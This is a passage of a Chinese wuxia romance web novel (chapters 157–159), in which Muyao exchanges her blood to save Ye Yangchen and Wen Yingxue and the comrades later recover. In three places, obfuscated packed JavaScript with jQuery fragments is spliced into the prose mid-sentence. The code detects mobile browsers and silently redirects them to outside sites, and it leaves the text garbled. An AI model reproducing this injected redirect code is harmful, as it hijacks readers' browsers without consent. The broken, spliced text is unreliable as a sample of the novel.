大家把晶泉灵芝和玉雪红参分别给叶阳晨和温映雪服下,因为叶阳晨体内的毒性更重,所以要先给他换血。慕瑶没有任何犹疑,用刀将掌心割出了血,然后与叶阳晨的手掌贴在了一起。 慕瑶皮肤娇嫩,刚刚用刀割的那一下,真是钻心的疼。慕瑶是最怕疼的,如果不是心里只有叶阳晨的安危,她还真下不去手。 慕瑶轻声道:“大家都回去休息吧,有诗怡和芷萱陪着我就好了。” 大家都不肯离开,心里实在担心。 芷萱附和道:“这些日子你们也都累了,反正留在这儿也帮不上太多忙,不如都去睡一小会儿,如果有什么我们会叫你们的。” 诗怡补充说道:“是啊,人太多在这儿,我姐也会紧张,说不定给我姐夫换血能走火入魔的。”诗怡和胡枫一样个性,说话时爱开个玩笑。 雨宁大哥点头,“那好,我们先出去,有事你们就喊我们男的。” 男的全出去了,那一夜三个女孩都没有合眼。慕瑶是不能睡的,一刻分心都不行。救人不仅需全神贯注,还非常耗费体力,慕瑶没有习武人的体魄,身子自然要稍稍娇弱一些,所以每隔一会儿,她的额头上就会渗出细密的汗珠,而芷萱和诗怡就在一旁帮慕瑶擦汗。 整整一夜,慕瑶试图集中精神,试图不胡思乱想,但她凝视着叶阳晨的时候,心还是很乱,乱得心里打满了死结。往事一幕幕,那些与叶阳晨在一起开心的,难过的,好的,坏的回忆,都在脑海里挥之不去,如影随形。 慕瑶下定决心,如果叶阳晨真有个三长两短,她也绝不苟活。慕瑶忍着难过,在心里一遍又一遍对自己说也对叶阳晨说:“阳晨,我一定会救你,如果我没成功,那就让我们一起去地府做个伴。这一生,我和你经历了那么多波折,如果上天还是让我们彼此错过的话,那么我们约好在奈何桥边相见,谁也不准喝孟婆汤。下一世,我们继续今生的缘分,这便是我和你的约定。” 这一夜,慕瑶过得很煎熬,但总算过去了。至第二日傍晚,慕瑶终于将叶阳晨体内的毒血全部换出来。至少救了一个人,十二将星所有人也跟着安心了些。 慕瑶看向芷萱,“萱萱,我们成功了吗?” “这个方法应该奏效的,小雪不会骗我们的。” “那为什么阳晨身上的黑色毒素仍没有任何消退?” 芷萱安慰着:“嫂子,毒素没有那么快消散的。你别担心了,你还是好好休息,也累了一夜了。”如果说从前的芷萱只是接受了慕瑶是她嫂子的现实,那么过了这晚,在慕瑶救了自己的哥哥后,芷萱才真正觉得自己又多了一个亲人。 人和人之间刚刚认识的时候总有一扇门隔在彼此之间,门上有一把大锁,令彼此不见。但有耐心的人,总会等到那么一天,那么一瞬间,触动心弦的感情突然化作了一把钥匙把门打开,那一刻,弥足珍贵。 听到叶阳晨会没事,慕瑶悬着的心终于归了位。见芷萱真心在关心自己,她不由得露出幸福的笑容。用自己的血救了爱人,得了妹妹,慕瑶觉得也值得了。 片刻,慕瑶缓了缓说道:“还不能休息,我马上还要救小雪。” “嫂子,你这样的话恐怕身体吃不消的。我看至少休息半个时辰。”芷萱何尝不希望慕瑶立刻救映雪,可是她也清楚,慕瑶刚救了哥哥,体力已经消耗大半,此时人肯定已经虚弱无力了。 慕瑶嘴角微微勾起,“不行,只要小雪一刻没有脱离危险,我就放心不下,多等几个时辰就会多几分危险,你们都是明白的。” 诗怡接话道:“姐,那你至少吃点东西,你都一天没有进食了。” 慕瑶轻轻摆手,“可我一点都不饿。”人在身体不舒服的时候,反而没有任何食欲。昨晚到现在,慕瑶消耗了太多的体力,导致她一点都不想吃东西。 众人见慕瑶态度坚决,只好把小雪抬到慕瑶面前。这时,江雨宁端着碗走进帐内,然后走到慕瑶跟前,将碗递给了她,“妹子,这碗热鸡汤你喝下去,会感觉舒服一些。” 慕瑶眼神犹豫着接过汤碗,闻到那股醇香浓郁,她先是喝了一小口,发现不仅没有难以下咽,反而真的激起了一丝食欲。慕瑶没有停歇,一口气喝干了一碗汤,人果然觉得舒服了许多,精神也略好了些。 感觉体力恢复了些,慕瑶没有耽误片刻,她又将自己的手掌对上映雪的手心。 又是一夜无眠,到了第二日中午,慕瑶身体已经接近筋疲力竭了,她强撑着精神,不让自己倒下去,可过的每一分每一秒都很难熬。近两天两夜没睡了,又没有吃什么东西,还失了许多血,即使是身体强健的人,都会扛不住的,又何况慕瑶只是个柔弱女子。 到了那天傍晚,慕瑶终于给温映雪换完血。收回手掌的那一瞬间,慕瑶昏倒过去,她的脸色和嘴唇都异常惨白。众人不停地喊着慕瑶的名字,诗怡更是泪雨如注,可慕瑶依旧没有任何反应。 胡枫上前安慰这些兄弟姐妹:“慕瑶大概是失血过多,可能休息两天就会好起来,还是别太担心了。”大家半信半疑,但依旧担心着,希望她能尽快好起来。 三个人都昏迷着,十二将星其他人都愁眉锁眼、忧心如焚。只要人没有醒来,他们就不能完全放下心来。 夜阑更深,十二将星的那九个人都没有任何睡意。 别看胡枫平时那样爱玩笑,可他的心底却柔软细腻,他受不了帐中那悲伤的氛围,于是第一个走出帐篷,来到军营外的一个小土坡那里坐了下来。胡枫掏出怀中的铁笛吹了起来,笛声哀婉凄切,悠扬深远,令人闻之心伤。 胡枫的笛声好像有一种魔力,丁鹏心郁至极,也走了出去。但他没有走远,只是坐在帐门口附近。悲伤的情境,总是容易令人想起往事,丁鹏想起了自己与叶阳晨从小一起长大的点点滴滴。 自叶阳晨中毒,丁鹏便整日惶恐不安。考虑到大家心情都很低落,他也不能表现得太明显了。丁鹏也是个硬汉,从来不轻易流泪,但此刻眼眶酸胀得难受,强忍之下也终于绷不住了。他把头埋在膝盖里,任由泪水大颗大颗地砸在地上。丁鹏觉得自己已经经历过太多悲欢离合了,可叶阳晨中毒后,他还是觉得承受不住。 突然,丁鹏感觉有人在轻轻拽自己的胳膊,他抬起头一看,原来是洛洛。他不知洛洛是什么时候来的,但突然意识到自己此刻很狼狈,便急着把脸侧过去,若无其事地擦去眼角的泪滴,他怕被洛洛看到自己“懦弱”一面。 洛洛轻声道:“别擦了,我什么都没看见,也不会与人说。” “你来做什么?”没来由的一句话。 “我来看看你。” 丁鹏没有说话,只是抬头仰望星辰,回忆着那些年过往。 洛洛想了想,试着安慰道:“我明白你对阳晨哥的感情,更能体会你此刻的心情。只是你别难过了,阳晨哥一定会没事的。” 丁鹏淡淡说道:“不,你不完全明白,你或许能看到我与我哥的感情,但是还有许多是你看不到的。你看得到现在,但不知我和我哥儿时就有的兄弟情。” 洛洛没有说话,只是秋波盈盈地凝望着丁鹏。 丁鹏压抑了太多天,他也想找个人说说,那样他会好过一点。丁鹏侧过脸看向洛洛,一脸无助和酸楚,“很多人只知道我与我哥从小一起长大,但是不知道我这条命也算是我哥叶阳晨给的。” 丁鹏继续说道:“自我生下来,就是没有父亲的。母亲告诉我,父亲是被家乡的恶霸打死的。母亲怕仇家找上门,便带着我去了中安郡安家。儿时的我与母亲相依为命,家里以卖馄饨为生,虽然日子苦一点,但那是母亲在我身边,我总算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504646|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个亲人。我现在都能记得母亲笑时的慈爱,那是我童年里唯一的一束光。” “那年,我才五岁,我记得快过年了,母亲说再攒几天的钱,就可以给我买件新衣服,我一听高兴极了,因为我难得能有一件新衣服穿。我天天盼着数着日子,希望时间能过得快一点。终于到了离过年还有两天了,那日早上,母亲笑着说今天早点收摊,然后就带我去成衣店买衣服。我原以为那天应是我最开心的一天,可是后来我知道,那也是我永生最难过、最悲伤的一天。” “太阳渐落,本来母亲都准备要收摊了。这时来了几个泼皮无赖吃东西,母亲没办法,只好招待他们。可是那几个人渣吃完东西不给钱,我母亲上前去索要,就被那群人拳打脚踢。我跪下不停地磕头,哭喊着求他们不要再打我母亲了,可是那群败类下手越来越重,我的嗓子都哭哑了,可是他们一直没有停手。我看着母亲躺在地上口吐鲜血,疼得浑身抽搐,表情痛苦,我当时害怕极了。但当时只有五岁的我,完全不知该怎么办,我就那样眼睁睁地看着母亲永远离开了我。” “我看到那群恶人的头领在一旁狞笑,那个笑容我到现在都记得。情急之下,我拔出恶首腰间的匕首,用力地向他刺去。我不知道自己哪来的那么大的力气,我就是一直刺一直刺,直至那个恶首倒下。剩下那几个恶人见他们的头死了,就过来夺我手中的刀,并把我打倒在地。他们疯狂地踢我,那一刻我体会到母亲刚刚遭受的疼痛,我甚至感觉自己的内脏都快被他们踢出来了。我趴在地上,动弹不得,以为自己肯定活不成了。不过那一刻我并不难过,我以为我死了就又可以见到母亲了。” “正在这时,我见到远处有个英俊少年从绚丽晚霞里骑马而来。那少年抖手撇出一支飞镖,扎中了其中一个恶人。那恶人倒下后,我才发现他手里攥着匕首,如果那个少年再晚来那么一会儿,可能我就死了。那个少年不是别人,就是我哥叶阳晨,他救了我一命。” “我哥跳下马,如风一般跑过来,只是几个飞脚,便把所有恶人打倒在地,我知道我的希望来了。我哥把我扶起来,问我怎么样了,还能否坚持。我用手背擦去鼻孔和嘴角的血,撑着力气说,哥哥,求你帮我杀了那几个人,我要为我妈报仇。我哥二话没说,轻轻放下我,顷刻间就替我杀了那几个恶人。看着那些恶人都倒下,我喜极而泣。” “之后,我哥把我带回泽清山,又帮着把母亲安葬了。所以从我五岁那年起,我和我哥一起长大,一起练武,就那样一路走来,我哥就是我在这个世上唯一的亲人了,所以我不能让他有任何闪失的。这些天,他中了毒,我害怕恐惧极了,我怕我哥像我母亲一样,连个告别都没有就离开。” 丁鹏的故事讲完了,很长很虐心也很让人难过。听丁鹏说着自己的悲惨经历,洛洛一直泪眼涟涟,原来她和丁鹏一样,有着悲惨的童年。洛洛心疼丁鹏,于是不觉伸出手去轻轻放在丁鹏的手背上,“鹏哥,别难过了,如果伯母在天上看着你,也是希望你能开心的。” 丁鹏也不知道为何今日会跟洛洛说这么多,平时他的话很少,更不愿把自己的心事讲给别人听。看着洛洛这样心疼自己,丁鹏心里也很感动,于是情不自禁地把自己的另一只手搭在了洛洛的手上。 洛洛眼眶里噙着泪水,她在心里发誓以后要对这个男人好一点,再好一点。 这时清扬也走了出来,丁鹏和洛洛都抽回了手,洛洛难为情道:“我再进去看看。” 清扬坐在了丁鹏的身边,丁鹏问道:“咱哥还是没有啥动静?” 清扬摇摇头,过了少刻,他才拍了拍丁鹏的肩膀,“大鹏,没事,哥哥命大着呢。” “我知道的,我一直知道。” 清扬和丁鹏都不知该怎么安慰对方,两人只是手搭着对方的肩膀,看向远方。 158. 第一百五十八章 那一夜,十二将星剩下的九个人都守在营帐里,困了就相互靠在一起睡一会儿。 翌日早上,大家发现叶阳晨的肤色转白了许多,只是映雪还没有太大变化。每个人都很高兴,这就代表着毒素在慢慢消散,是向好的表征。众人喜极而泣,这个最大的难关貌似有希望挺过去了,还是他们十二人共同挺过去的。 又过了一天,叶阳晨终于醒了,当他缓缓睁开眼睛,营帐内众兄弟抱在里一起,欢笑声不绝于耳。叶阳晨虽然醒了,但是身体还很虚弱,嗓子哑得甚至不太能说话。 叶阳晨见人群里没有慕瑶,一脸惶惑,连忙哑着嗓子问道:“慕瑶呢?”他知道自己中了毒,慕瑶不会不守在自己身边。 诗怡接过话来,“我姐这几天得了风寒,照顾了你几日,身体撑不住了,我们就让她回寝帐睡一会儿。” 叶阳晨并没有多疑,他还不知道是慕瑶救了自己。众人考虑叶阳晨的毒伤刚刚好,才决定暂时先瞒着他。 叶阳晨说话的声音低沉而虚弱,“那小雪呢?她怎么样?”他想起来当时小雪也喝了毒酒,也中了毒。 胡枫安慰着:“小雪也解毒了,只是你先醒罢了,放心吧。” 叶阳晨长舒一口气,心里的石头总算落下。片刻,他低声道:“清扬……” 清扬走上前,“哥,你叫我?” “杜星呢?” 清扬冷漠道:“已经死了,被我们扔在外边了,哥,他死有余辜。” 良久,叶阳晨痛心道:“算了,还是给他埋了吧。总还是相识一场,就对得起这场相识吧,不想恨他。” “可是哥……”叶清扬是个恩怨分明的,他真想把杜星扔去喂狗。可见哥哥伤心的表情,就没有再说下去,“好吧,哥,你好好休息,我这就去办。” 叶阳晨身体的底子还是好,只过了一天,在宁哥的各种汤水补养下,他已经可以下床走路了,只是出营帐还是不行,他走得很慢,也走不了太久。 叶阳晨把诗怡叫到跟前,表情异常严肃,“诗怡,你姐呢?” “姐姐还在休息,昨夜她有点发热。” “还要骗我吗?”叶阳晨突然吼道,“快说,慕瑶她怎么了?”这大概就是爱人之间的默契吧,已经一天了,慕瑶都没有露面了,叶阳晨断定慕瑶多半出事了,只是大家都瞒着他。这种生病的烂借口,骗骗别人还可以,叶阳晨是不会相信慕瑶会因为生病不来看自己的。 被叶阳晨这么一吼,诗怡被吓得浑身哆嗦了一下,她回头看看每一个人,大家默默点点头。诗怡这才如实道:“姐夫,姐姐她为了救你,现在还昏迷着。”众人这才你一言我一语地将慕瑶换血救他和小雪的事讲给叶阳晨听。 叶阳晨攥紧拳头,指关节“咔咔”作响,“你们带我过去,我要去看看慕瑶。” 本来叶阳晨、慕瑶和小雪都在大帐里躺着,后来大家怕叶阳晨先醒来后看到另外两个女孩还昏迷着而担心,就把慕瑶和小雪单独安置在另一顶帐篷内。那些天,每天到了晚上,安然还是会吵着闹着找映雪,因为小雪在的时候,都是小雪讲故事哄安然睡觉的。 丁鹏走上前,背着叶阳晨去了慕瑶所在的营帐。叶阳晨来到慕瑶的床前,看着慕瑶闭着双目,一动不动,那一瞬间他有点后悔给杜星留了全尸。慕瑶“睡”在那里依旧美得倾国倾城,那张精致得无可挑剔的脸仍然白得透明发亮。 叶阳晨深通医理,给慕瑶把了把脉,知道她性命无忧后,这才放心心来。 叶阳晨又走到映雪的床前,他直接坐在地上,轻轻握住映雪的手,“雪儿,我已经醒了,你什么时候醒来呢?是我这个哥哥没有把你照顾好。” 清扬也跟着坐下来,“哥,嫂子也给雪儿换了血的,毒是已经解了的,只是可能还要再等等,小雪才能醒来。” 叶阳晨没有再说话,就只是在那儿坐着,眼睛盯着小雪。 良久,牧云劝道:“晨哥,你才刚刚恢复,还是不要一直坐在这里吧。如果雪儿醒了我们第一时间告诉你。” 众人也都跟着劝叶阳晨。 叶阳晨语气平淡,“都别劝我了,让我在这儿坐一会儿。” 话音一落,叶芷萱喊道:“你们看,小雪的睫毛刚刚动了动。” 大家凑过来盯着看,眼睛都不敢眨,可是没有发现小雪有醒来的迹象。 胡枫问道:“我怎么没看见啊?芷萱,你是不是眼花了啊?” 芷萱坚持道:“你们仔细看嘛,再等等,雪儿真的眨了眨眼的。” 片刻后,诗怡惊叫道:“真的,真的有眨眼。” 全体人屏住了呼吸,不敢出声,果然,温映雪的眼睛慢慢睁开了,瞳仁依旧清澈如水。 芷萱上前握住小雪的手,含泪一笑,“雪儿,你吓死我了,你终于醒了。” 安然突然从人群中冒出头来,“把安然也吓死了呢。”没人知道这丫头怎么找到这个营帐的,也没人知道安然是什么时候进来的。 温映雪含泪浅笑,“我没事,让你们担心了。”这时,角落里的霍玉,一个人默默掀开帐帘走出营帐。听到映雪没事了,他终于放下了连日来压在胸口的大石头。霍玉这些天过得太压抑了,却无法放过自己,此刻他终于可以让自己透透气了。 映雪醒来见叶阳晨还活着,心中溢满喜悦,但更多的是感动。 叶阳晨继续问道:“小雪,你喂我吃了“醒刻”,对不对?” 映雪感动着点点头,“我在菜里下了六蕊百合,本想逼杜星交出解药,可还是没成功。没办法,我只能先喂你吃下“醒刻”,至少可以不让你体内的毒扩散太快。” 叶阳晨暖笑着,“你又救了哥一命,看来我永远还不起了。” 在场的人中,只有芷萱和清扬知道这个“又”字是怎么来的,小时候他们四人到处疯跑着玩,结果有一次误入海棠谷的一片野林子,结果叶阳晨的小腿被银眼蛇咬伤了。 映雪自小使毒的悟性就高,她见叶阳晨伤口的四周很快就发黑了,便知道这蛇的毒性非比寻常,且扩散太快。映雪心想回家再找父亲医治晨晨哥可能来不及了,便自己尽全力用嘴把叶阳晨小腿的毒素吸出来,可她自己却也因此中毒了。可好的是,叶阳晨腿上的毒被吸出了大半,为回家医治赢得了时间。几个孩子快速回家后,温狐还说再晚一点时间,后果不堪设想。 ****** 温映雪没有答叶阳晨的话,转而问道:“萱萱,是谁救的我和晨晨哥?” “是慕瑶嫂子。”芷萱如实道。 映雪心里一颤,“那慕瑶现在在哪儿呢?”映雪环顾站在自己周围的人,并不见慕瑶的身影。 芷萱咬咬下唇,喃喃低语,“嫂子她还没醒,为了救你和哥哥,她流了太多的血,昏迷着呢。” “你们扶我起来,让我去给慕瑶把把脉。” 叶阳晨插话道:“你先好好休息,我已经把过脉了,慕瑶失血过多,应该没大碍的。” 映雪精通医术,在知道慕瑶为两人输血后,她便能料到慕瑶身体耗损极重,只是她现在身体虚弱,起不来床,无法给她诊治。 安然突然拉住映雪的手,“姐姐,你今晚可以陪我睡了吧?” 诗怡嘟着嘴,“你个小没良心的,这几天跟我一起睡还不好吗?” “还是跟雪儿姐姐睡更好。” 映雪嘴唇翕动,沉声道:“好,今晚姐姐就搬回去陪你。” 映雪回了原先女孩的寝帐,这个帐篷里就只有慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557915|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶自己了,这样也方便了叶阳晨。如果映雪也睡在这里,叶阳晨还真不方便总是进来看看慕瑶,那样会打扰小雪休息。 当晚,叶阳晨就在慕瑶的床边守着,他哪都不去,不亲眼看着慕瑶,他实在不放心。索性他与林慕瑶不是夫妻,胜似夫妻,兄弟们也都知道两人的关系,叶阳晨便没有刻意避嫌了。 两天过去了,叶阳晨依旧寸步不离慕瑶的床榻,可慕瑶还是没有醒,他心里有点急也有点慌了。之前只觉得是失血过多,可慕瑶已经昏迷五天了,还没有醒来的迹象。温映雪给慕瑶配了许多药,雨宁也为慕瑶熬了好多营养汤,但是给慕瑶喂下去后,人依旧没有反应。 那晚夜深人静,只能隐隐听见帐外呼呼刮过的北风,帐子内没有点灯,叶阳晨紧紧攥着慕瑶的手。白天兄弟们都在,即使叶阳晨有一肚子话,也不好意思当着大家的面说出来,更不好在兄弟们面前表现出脆弱来。这会儿帐子里就他们两人,叶阳晨再也忍不住心中情绪。 叶阳晨静静流下泪水,他用慕瑶的手背擦着眼角,“瑶儿,你怎么还在睡啊?我好想你啊!你能不能睁开眼睛看看我,跟我说句话,说一句就好。瑶儿,要是你为了救我而不能醒来,我永远不会原谅自己的。” 说到情动之处,一大颗眼泪滑落。叶阳晨垂下头,哽咽地说不下去了。良久,他抬起头,“瑶儿,上天还真是爱捉弄我们,为什么我们总是要经历波折呢?为什么就不能给我们一个好好相守的机会呢?” 天亮了,叶阳晨又跟慕瑶说了一夜的话。又是一夜没合眼,叶阳晨已经三天三夜没睡了。兄弟们都看不下去了,每个人都催着叶阳晨去休息,可每次叶阳晨想都不想就回绝了。 温映雪黛眉微蹙,“你们大家都先出去吧,我要为慕瑶全身施一次针,一会儿好了我再叫你。”映雪这样说,也是给叶阳晨一个休息的机会。 芷萱说道:“我们女孩子不用回避吧?我陪你。” “不用了,你们在这儿我会分心的。”映雪看向叶阳晨,“晨晨哥,针艾一次少说也要一个时辰,与其等着心焦,你不如睡上一觉,这样感觉时间还过得快一点。” 听映雪那么说,叶阳晨也只好随着众兄弟出了蒙古包。 帐子里只剩下自己,温映雪才解开慕瑶的一件件衣衫,露出她如玉般美好的身体。还好,营帐火盆里的炭烧得够旺,慕瑶不会着凉。 当慕瑶上身的衣服尽褪,温映雪一眼便看到慕瑶左侧锁骨下方的玲珑印。那印记刺目耀眼,令映雪心头倏然巨跳,可能是太过震撼,她一时没想明白慕瑶身上怎么会有这样的印记。映雪又仔细看了看,才发现这印记是用叶阳晨的金印章烙上去的。叶阳晨从小把赤玲珑带在身上,映雪再熟悉不过,是不会认错的。 映雪怔住了,她才喃喃自语,“晨晨哥竟这么自私地在慕瑶身上烙上他的名字。” 映雪不禁想到自己和林慕瑶第一次见面时的情景,那时慕瑶向她诉说小时候叶阳晨令她受的委屈,可因那时她对慕瑶有很深的成见,所以并未设身处地理解和同情慕瑶。今日一见玲珑印,映雪才知从前对慕瑶的误解有多深。 叶阳晨的霸道,映雪从小就知道。话说回来,她、芷萱、清扬又有哪个人的性格是不霸道的呢?不过在那一刻,映雪也全懂了叶阳晨对林慕瑶的感情,想来儿时的晨晨哥已是多么深爱慕瑶,才会如此想把慕瑶占为己有。 带着羡慕和祝福,映雪嘴角露出一丝甜甜的笑,随即她拿出银针全心为慕瑶治疗。一个个银针扎在慕瑶身上的穴位处,伴随每一针刺下去,慕瑶的眉头都会微微皱一下。不到一个时辰,针全部施完,映雪又等了一炷香的时间,慕瑶的眼睫毛开始上下动了动,随之眼皮慢慢向上翻,终于露出漆黑闪亮的瞳仁来。 159. 第一百五十九章 慕瑶没想到醒来第一眼看到的是映雪,而且有且只有她一人在自己身边,眼里一时有着微不可察的惊讶。但即使这样,慕瑶还是很高兴,因为映雪现在能坐在自己床边,就证明她身上的毒已经解了。慕瑶嘴角带着一抹笑,嗓子沙哑,语气轻缓,“小雪,能再见到你真好。” 听慕瑶那么说,温映雪鼻子一酸,随之微微垂下眉眼,“见到你…也真好。”映雪边说话,边拔掉慕瑶身上的银针。 慕瑶刚刚醒来,四肢无力,映雪帮着慕瑶套上衣衫。 “说点什么好呢?”温映雪心想着。平日里,她是个冷傲孤僻的人,尽管她的心是热的,但确实不习惯说些温柔暖心的话。 良久,映雪直言道:“刚刚为你治伤的时候,我看到你的印记了。” 听到映雪那么说,慕瑶心里还是有些害羞的。被女孩子看了自己的身子是没什么的,慕瑶害羞是因为,那个印记在她心里是一个秘密,而这个秘密在今天之前只有她和叶阳晨知道,就连自己的妹妹诗怡都没见过的。 慕瑶语气温和地解释道:“那是我九岁那年的事了,也算好久了。离开泽清山的前夜,那家伙趁我睡着了……” “你当时怪他吗?” 慕瑶笑着如实道:“不是怪,是恨。把我抢上山,又给我烙下这个东西……” 此时,温映雪已经能理解慕瑶的心境,她语气平静道:“像晨晨哥那种有出色亮眼成长背景的人,难免任性了些。” 慕瑶笑着打趣:“你还是和从前一样,总是那么偏向他。” “并不是偏向他,只是想将有些实话说给你听。” 慕瑶暖暖一笑,缓缓说道:“我知道,我刚才是逗你的,过去那么多年了,以我现在对阳晨的感情,我早就不怪他了,我就当是儿时的叶阳晨顽皮了些。” 玲珑印并不是小雪想说的话,她先说些其他的话题,只是因为她不知“感谢慕瑶救命之恩”这样的话,怎么说才会显得自然些。小雪毕竟是个爽快的人,也懒得婆婆妈妈的,最后干脆直言道:“谢谢你这次救了我……” “谢什么?我们之间还需要用‘谢’这个字吗?在我心里,你一直是我妹妹,见妹妹有危险,姐姐怎能不救?”说完,慕瑶补充道,“尽管你心里从来没承认过我这个姐姐。”话语里有着那么一抹淡淡的伤感。 映雪从前是不太喜欢林慕瑶,除了觉得慕瑶对叶阳晨不够好外,还觉得她配不上自己的晨晨哥。可在军营里的这段日子,映雪对慕瑶的印象改观了许多,她发现慕瑶并不是那种娇生惯养的大小姐,虽然人看着娇弱些,但慕瑶特别能吃辛苦,这让小雪敬佩了几分。在与慕瑶朝夕相处的日子里,她眼见慕瑶对叶阳晨的一片深情,成见自然也少了几分,随着两人感情渐深,加上这次慕瑶舍身救了叶阳晨和自己,就是铁石心肠也会被融化的。 其实在映雪的心里,只要她的晨晨哥能幸福,她也就释然了。 映雪听慕瑶那么说,心里话呼之欲出,片刻后,她轻声道:“谁说我不认你这个姐姐,以后都会是的……” 慕瑶眼底陡然湿热,“你说什么?”太过突然,她有点不相信自己的耳朵。 “不准听到装作听不到的。” “我等你叫我这声姐姐等了好久,还好,总算被我等到了。有你这一声姐姐,流多少血斗值了。” 温映雪神色忽地郑重,“这次是个意外,以后不准你流血。” 慕瑶摸着小雪的手,“我以后听你的话。” 此刻,两人都有一种劫后余生的珍惜和感恩,甚至呼吸和微笑都感觉是美好的。 面对感性的场面,映雪有点不适应的难为情,于是岔开话题道:“姐,大家还不知道你已经醒了,我这就去告诉他们。” 不多时,十二将星所有人都走进来,一场虚惊终于结束了。 叶阳晨见慕瑶已经醒来,兴奋得直接将人横抱起来转着圈圈。慕瑶脸颊微红,“你快放我下来,兄弟们都看着呢。” “怕什么,都是自己人。” “可是我头晕。”慕瑶刚刚醒来,身体还是有些虚弱的。 听到慕瑶那么说,叶阳晨这才害怕得把慕瑶放下来。 叶阳晨太开心了,对着江雨宁道:“宁哥,”今晚做它一大桌子菜,我们要大醉一场,喝个痛快,庆祝我们的大难不死。。” 林慕瑶努着嘴,“你刚刚才康复,不准你喝酒。” 叶阳晨光顾着高兴了,都忘了自己身上的毒刚刚才解,哄着慕瑶道:“哦,那我不喝,我闻味,我看着大家喝,这总行了吧?” 胡枫笑着调侃,“小晨,那我们一定多喝点,非得把你的馋虫勾出来。” 大家哄笑着,江雨宁凑上前,“小晨,那啥,你能不能单独出来一下?我有个小事要和你说。”这几日,慕瑶没有醒来,宁哥觉得提什么事都不合时宜。 叶阳晨先是面色一滞,然后展颜笑了起来,“那好,我们出去说。”他觉得有点奇怪,平日里宁哥都是没事不找自己的,今日怎么有事还要悄悄说。 凌牧云打趣道:“宁哥,啥事还要背着我们?不能当着我们的面说啊?为何只有阳晨才能听啊?” 见身旁的胡枫忍俊不禁,牧云继续开着玩笑,“胡哥,你笑什么?难道是厨房没米下锅了?我们晚上的大餐吃不成了?”叶阳晨与温映雪都转危为安了,凌牧云也难得这么开心,遂多开了几句玩笑。 一旁的芷萱看向胡枫,“胡哥,你还是离凌牧云远点,他这阵子都跟着你学坏了。” “芷萱,你说这话就偏心了啊,我今天可什么都没说,是牧云自己在说,你可好好管管牧云。” 芷萱轻轻瞪了牧云一眼,低声道:“谁要管他?你们两个臭味相同,我一个都懒得理。”说完,芷萱站起身走出了帐篷。 帐篷外,叶阳晨与江雨宁随意散着步,“宁哥,什么事?还这么神神秘秘的?” 江雨宁支支吾吾了半天,脸也涨得通红,就是一句话挤不出来。 在这些兄弟中,叶阳晨知道宁哥性格最为耿直,也最是老实,如果不是遇到了犯难之事,他是不好意思来找自己的。 叶阳晨温和一笑,“宁哥,上了战场我们是生死弟兄,下了战场我们是患难兄弟。所以你不用为难,只要是你的事,我能办肯定办,不能办我也要硬办。怎么样?现在可以讲了吧?” 叶阳晨说得这么诚恳,江雨宁也咧嘴笑了起来,“那啥,这次我不是和枫子出门嘛,我认识了一个女人……”话说到一半,江雨宁不自觉地挠了挠头。 叶阳晨反应过来,莞尔一笑,“喜欢上了。” 宁哥“嘿嘿”一笑。 “天玄教的人?”叶阳晨追问道。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593156|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 叶阳晨笑着打趣,“我们宁哥中意的人准错不了,你是想把我未来的嫂子接来军营?” “是的,可以吗?” “有何不可?过两日你去接就是了,去的时候让丁鹏陪你走一趟,也省得我担心你路上有危险。” 江雨宁搓了搓手,“好,好,那我先去准备晚上兄弟们庆祝吃的去了。” “宁哥,你不要一高兴就忘记在菜里放盐。” 江雨宁半晌才反应过来,“你这臭小子就爱拿我取笑。” 江雨宁转身走了两步,叶阳晨叫住了他,神情从未有的郑重,“宁哥…替你感到幸福。” 江雨宁有些感动,温情地点了点头,然后就走去了厨房。他刚一进厨房就傻眼了,因为四个女孩都在里面。 雨宁有些错愕,“这是什么情况?你们都是在等我?可是饭还没有做好呢。” 诗怡嫣然一笑,“当然是等宁哥,否则我们来厨房做什么?” “你们准备来厨房做什么?” 芷萱浅笑,“当然是陪你做饭啊!” 江雨宁苦笑,“四位妹妹,我怎么敢麻烦你们呢?” 慕瑶娇笑,“宁哥,不麻烦,我们想给你打打下手。” 一听慕瑶这么说,江雨宁更是急得一头汗。江雨宁知道,慕瑶、诗怡、芷萱和映雪她们四个女孩,要么是金枝玉叶,要么是娇躯贵体,平日都是很少做饭的,他怎么敢让她们给自己打下手呢? 江雨宁连忙摆手,“不用的,真的不用,你们四个女孩等着吃就好。尤其是慕瑶和小雪,身体还很虚弱,要多休息的。” 映雪难得暖暖一笑,“无妨,宁哥,我们就做些简单的,算是帮你打打下手。每日都是你照顾我们大家,今天我们十二个人共同挺过了难关,每个人的心里都高兴,就一起做一次饭。一家人,一起做一件事,多温馨。” 